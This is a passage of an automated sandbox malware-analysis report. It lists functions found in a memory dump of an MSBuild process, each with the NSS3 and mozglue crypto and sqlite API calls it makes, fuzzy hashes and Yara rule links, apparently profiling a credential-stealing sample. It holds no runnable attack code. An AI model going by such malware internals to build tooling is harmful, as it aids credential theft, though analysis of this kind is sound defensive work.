sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBFA94F

Strings

%s at line %d of [%.10s], xrefs: 6CBFA948
database corruption, xrefs: 6CBFA943
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBFA939

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: f0c2b8985bf495efddf02bfcede012cdb4276e53d2106c28f12d8c03f3dd22fc
Instruction ID: 61614bca22f526547d536315e34357b0c19b14c73573430934817b234b9c55c6
Opcode Fuzzy Hash: f0c2b8985bf495efddf02bfcede012cdb4276e53d2106c28f12d8c03f3dd22fc
Instruction Fuzzy Hash: 98014931B002086BD7108B6ADC11B5BB3F8EF85308F458539E95D9BF80E731E90E8BA1

Function 6CC88850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CC90715), ref: 6CC88859
PR_NewLock.NSS3 ref: 6CC88874

Part of subcall function 6CD398D0: calloc.MOZGLUE(00000001,00000084,6CC60936,00000001,?,6CC6102C), ref: 6CD398E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CC8888D

Strings

NSS, xrefs: 6CC88887

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: 573ef5773da2ea9b8d9de38097a48c46532fe2385ec6905cb9e7942496e4189f
Instruction ID: 2cbdf8503a1ba421d7ca88492f1586258dad229c8acafc5a8b058e5c4c781d4a
Opcode Fuzzy Hash: 573ef5773da2ea9b8d9de38097a48c46532fe2385ec6905cb9e7942496e4189f
Instruction Fuzzy Hash: A7F09666E4362033F21012696C06F8779985F5575DF450031EA0DE7F82FB51A519C3F3

Function 6CCFA9F0 Relevance: 6.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD074,00000000), ref: 6CCFAA23

Part of subcall function 6CCEA2F0: PR_SetError.NSS3(00000000,00000000), ref: 6CCEA328

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CCFAB45
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CCFAB96
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCFABEA

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Error$Item_Util$CopyZfree
String ID:
API String ID: 3824302834-0
Opcode ID: a6892ff66f49cb45df161b17f5d4a8ce9a32192a26cc0ee3d5877f7b128079a1
Instruction ID: dfee092905c58a35674cb898e239c558c438fa7f137625c312214345cae44e04
Opcode Fuzzy Hash: a6892ff66f49cb45df161b17f5d4a8ce9a32192a26cc0ee3d5877f7b128079a1
Instruction Fuzzy Hash: 24514931A40219AFEB608B10DD46FDAB7B4EF49708F004164E9186B691F730AAD9CFD1

Function 6CC6C9B0 Relevance: 6.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3 ref: 6CC6CB3D
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC6CB4B
sqlite3_free.NSS3 ref: 6CC6CB70
sqlite3_result_error_nomem.NSS3 ref: 6CC6CB99

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_result_error_nomemstrlen
String ID:
API String ID: 1052848593-0
Opcode ID: 72734ad467df39f2043d2c5cae955223cab2be78cbffb4d8fdc9316b66ee5724
Instruction ID: b968e7f5559b9016350ed1aef9733383243c7e548ff5225535c46ff7cb917614
Opcode Fuzzy Hash: 72734ad467df39f2043d2c5cae955223cab2be78cbffb4d8fdc9316b66ee5724
Instruction Fuzzy Hash: 1851D432619B458ADB01EF36C18012BF7F4BF8A798F108B0DE8956AA51EB30D4D5C792

Function 6CCFAC80 Relevance: 6.1, APIs: 4, Instructions: 126COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD074,00000000), ref: 6CCFAD13
memcmp.VCRUNTIME140(?,?,?), ref: 6CCFAD65
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CCFAD95
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CCFADC8

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Item_Util$CopyErrorZfreememcmp
String ID:
API String ID: 2638228310-0
Opcode ID: 06da96f2a43cef64bddf3a3cc2d7cbdf33e7a73b1c8bd528ff43fbebd59ae361
Instruction ID: fe453ff765710b4283f6527b115c9cacb43e44c9cef4bc1e3d86eaed72799ecc
Opcode Fuzzy Hash: 06da96f2a43cef64bddf3a3cc2d7cbdf33e7a73b1c8bd528ff43fbebd59ae361
Instruction Fuzzy Hash: CE41CF71E00214ABDB10CF66DC85FEEB3B8EF89708F540164E824AB681F731A949C7B1

Function 6CD8A860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6CD8A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6CD8A662), ref: 6CD8A69E
Part of subcall function 6CD8A690: PR_NewCondVar.NSS3(?), ref: 6CD8A6B4

PR_IntervalNow.NSS3 ref: 6CD8A8C6
EnterCriticalSection.KERNEL32(?), ref: 6CD8A8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6CD8A944
PR_SetPollableEvent.NSS3(?), ref: 6CD8A94F

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: 262db1bf6e31da4db299fe920ba75920c02976daaa7bab566c5a884b9569dd2a
Instruction ID: 944b5ee0096011f8542f36ad8d23aef33d9a9501a7df8789c4ef56dad035e735
Opcode Fuzzy Hash: 262db1bf6e31da4db299fe920ba75920c02976daaa7bab566c5a884b9569dd2a
Instruction Fuzzy Hash: 1F4158B4A06A02DFC704DF29C58095AFBF5FF48318765852AD959CBB61E731E850CBA0

Function 6CCE2C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6CCE1289,?), ref: 6CCE2D72

Part of subcall function 6CCE3390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6CCE2CA7,E80C76FF,?,6CCE1289,?), ref: 6CCE33E9
Part of subcall function 6CCE3390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6CCE342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CCE1289,?), ref: 6CCE2D61

Part of subcall function 6CCE0B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CCE0B21
Part of subcall function 6CCE0B00: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CCE0B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6CCE1289,?), ref: 6CCE2D88
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6CCE1289,?), ref: 6CCE2DAF

Part of subcall function 6CC9B8F0: PR_CallOnceWithArg.NSS3(6CDD2178,6CC9BCF0,?), ref: 6CC9B915
Part of subcall function 6CC9B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6CC9B933
Part of subcall function 6CC9B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6CC9B9C8
Part of subcall function 6CC9B8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CC9B9E1

Part of subcall function 6CCE0A50: SECOID_GetAlgorithmTag_Util.NSS3(6CCE2A90,E8571076,?,6CCE2A7C,6CCE21F1,?,?,?,00000000,00000000,?,?,6CCE21DD,00000000), ref: 6CCE0A66

Part of subcall function 6CCE3310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6CCE2D1E,?,?,?,?,00000000,?,?,?,?,?,6CCE1289), ref: 6CCE3348

Part of subcall function 6CCE06F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6CCE2E70,00000000), ref: 6CCE0701

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction ID: ef942c073ab0fa809097732ead1b4c1980ea5a23e518ba71d8bacd1b55f85c2b
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: 2731DBB6900205ABDB005F64EC54F9A3769BF4A31DF140170ED155BB91FB31EA68C7E2

Function 6CC76C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CC76C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CC76CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CC76CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CD98FE0), ref: 6CC76CFE

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 0a5111a25ab30f76a1c3a0bfe3a464fced65b6cb71a6165ed0d5e9bf34891239
Instruction ID: e428e911c9c4c0bb2f7bd2bfdecba0421bb3759f57ae70ec561854e77a656e88
Opcode Fuzzy Hash: 0a5111a25ab30f76a1c3a0bfe3a464fced65b6cb71a6165ed0d5e9bf34891239
Instruction Fuzzy Hash: E931AEB5A006169FEB18DF65C881ABFBBF5EF49348B10442DD905E7750FB31A906CBA0

Function 6CCE6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CCE6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCE6E57

Part of subcall function 6CD1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD1C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CCE6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CCE6EAA

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 1b4ab9dad07a6ea20f9874193664837a42b8ca40b6f76048247077293f194177
Instruction ID: 4cc52dbd895f949ad875bda57a09c1e83ee15e7073cca52eabd54e0d0006bff7
Opcode Fuzzy Hash: 1b4ab9dad07a6ea20f9874193664837a42b8ca40b6f76048247077293f194177
Instruction Fuzzy Hash: E731B171620E1AEADB141F34DC043A6B7A4AB0B31AF10063CD69AD7AD1FB30B954CB91

Function 6CCE2880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6CCE2896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6CCE2932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCE294C
free.MOZGLUE(?), ref: 6CCE2955

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: 1f00a82a2007ceb927cbbad5ceb43e8149521ffb340a103de44e6c7fc1d5d58a
Instruction ID: 1d8250f685ab4f37a49cafb3319631a8ea6f398178a33b32b5559bf75e63c3e9
Opcode Fuzzy Hash: 1f00a82a2007ceb927cbbad5ceb43e8149521ffb340a103de44e6c7fc1d5d58a
Instruction Fuzzy Hash: 1821B6B66006029BE7209B2ADC49F4777E9EF8A358F050538E44EC7B61FB72E419C751

Function 6CD0C950 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CD0C990
EnterCriticalSection.KERNEL32 ref: 6CD0C9A9
PR_Unlock.NSS3 ref: 6CD0C9FF
TlsGetValue.KERNEL32 ref: 6CD0CA17

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock
String ID:
API String ID: 18814078-0
Opcode ID: 6d8df991844f836beed7f346ceba0cab7d9393ed2b14d6b184eb8248ac32c364
Instruction ID: 4294cbe41ee6393e87c021a43f7aa071d2bc8712ace73e6307feca415db82b2c
Opcode Fuzzy Hash: 6d8df991844f836beed7f346ceba0cab7d9393ed2b14d6b184eb8248ac32c364
Instruction Fuzzy Hash: 0A315D70B04601CFD704EF2DD585669BBF8BF89354F018669E98987760E730E890CBA6

Function 6CD1A8F0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CD02AE9,00000000,0000065C), ref: 6CD1A91D

Part of subcall function 6CCBADC0: TlsGetValue.KERNEL32(?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAE10
Part of subcall function 6CCBADC0: EnterCriticalSection.KERNEL32(?,?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAE24
Part of subcall function 6CCBADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CC9D079,00000000,00000001), ref: 6CCBAE5A
Part of subcall function 6CCBADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAE6F
Part of subcall function 6CCBADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAE7F
Part of subcall function 6CCBADC0: TlsGetValue.KERNEL32(?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAEB1
Part of subcall function 6CCBADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC9CDBB,?,6CC9D079,00000000,00000001), ref: 6CCBAEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CD02AE9,00000000,0000065C), ref: 6CD1A934
SECITEM_ZfreeItem_Util.NSS3(00068C9A,00000000,00000000,00000000,?,?,6CD02AE9,00000000,0000065C), ref: 6CD1A949
free.MOZGLUE(00068C86,00000000,0000065C), ref: 6CD1A952

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 96cfbfe67e23f97aacafc4d038df89761a05cd5d705d6c0c3499eb9aa9a405b0
Instruction ID: f6aa661a7019e8da7fc57fdb59e30c4008a50008ccf5dba9d9726e88cbc9d39c
Opcode Fuzzy Hash: 96cfbfe67e23f97aacafc4d038df89761a05cd5d705d6c0c3499eb9aa9a405b0
Instruction Fuzzy Hash: D0313CB4605211DFD704CF25E980E62B7E8FF48358B1581A9E80D8BB56E730E945CFA1

Function 6CCF0C00 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

PK11_DigestOp.NSS3(?,?,00000004), ref: 6CCF0C43

Part of subcall function 6CC9DEF0: TlsGetValue.KERNEL32 ref: 6CC9DF37
Part of subcall function 6CC9DEF0: EnterCriticalSection.KERNEL32(?), ref: 6CC9DF4B
Part of subcall function 6CC9DEF0: PR_SetError.NSS3(00000000,00000000), ref: 6CC9E02B
Part of subcall function 6CC9DEF0: PR_Unlock.NSS3(?), ref: 6CC9E07E

PK11_DigestOp.NSS3(?,?,00000008), ref: 6CCF0C85
PK11_DigestOp.NSS3(?,?,?), ref: 6CCF0C9F
PR_SetError.NSS3(FFFFD07F,00000000), ref: 6CCF0CB4

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: DigestK11_$Error$CriticalEnterSectionUnlockValue
String ID:
API String ID: 3186484790-0
Opcode ID: 165d05eb2484b0d08263d99df885b63e19e5bbe30008e7a374dc30e7f108ca78
Instruction ID: 0287211dcad050ca39e473cb22bce53890dc31034c3c65e08f625dee00c972d9
Opcode Fuzzy Hash: 165d05eb2484b0d08263d99df885b63e19e5bbe30008e7a374dc30e7f108ca78
Instruction Fuzzy Hash: B8214871A042869FCB01CB689D15B9BBFA4AF25204F0981A4E8585F752F731D828C7F3

Function 6CCE2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CCE2E08

Part of subcall function 6CCD14C0: TlsGetValue.KERNEL32 ref: 6CCD14E0
Part of subcall function 6CCD14C0: EnterCriticalSection.KERNEL32 ref: 6CCD14F5
Part of subcall function 6CCD14C0: PR_Unlock.NSS3 ref: 6CCD150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CCE2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CCE2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCE2E95

Part of subcall function 6CCD1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CC788A4,00000000,00000000), ref: 6CCD1228
Part of subcall function 6CCD1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CCD1238
Part of subcall function 6CCD1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CC788A4,00000000,00000000), ref: 6CCD124B
Part of subcall function 6CCD1200: PR_CallOnce.NSS3(6CDD2AA4,6CCD12D0,00000000,00000000,00000000,?,6CC788A4,00000000,00000000), ref: 6CCD125D
Part of subcall function 6CCD1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CCD126F
Part of subcall function 6CCD1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CCD1280
Part of subcall function 6CCD1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CCD128E
Part of subcall function 6CCD1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CCD129A
Part of subcall function 6CCD1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CCD12A1

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
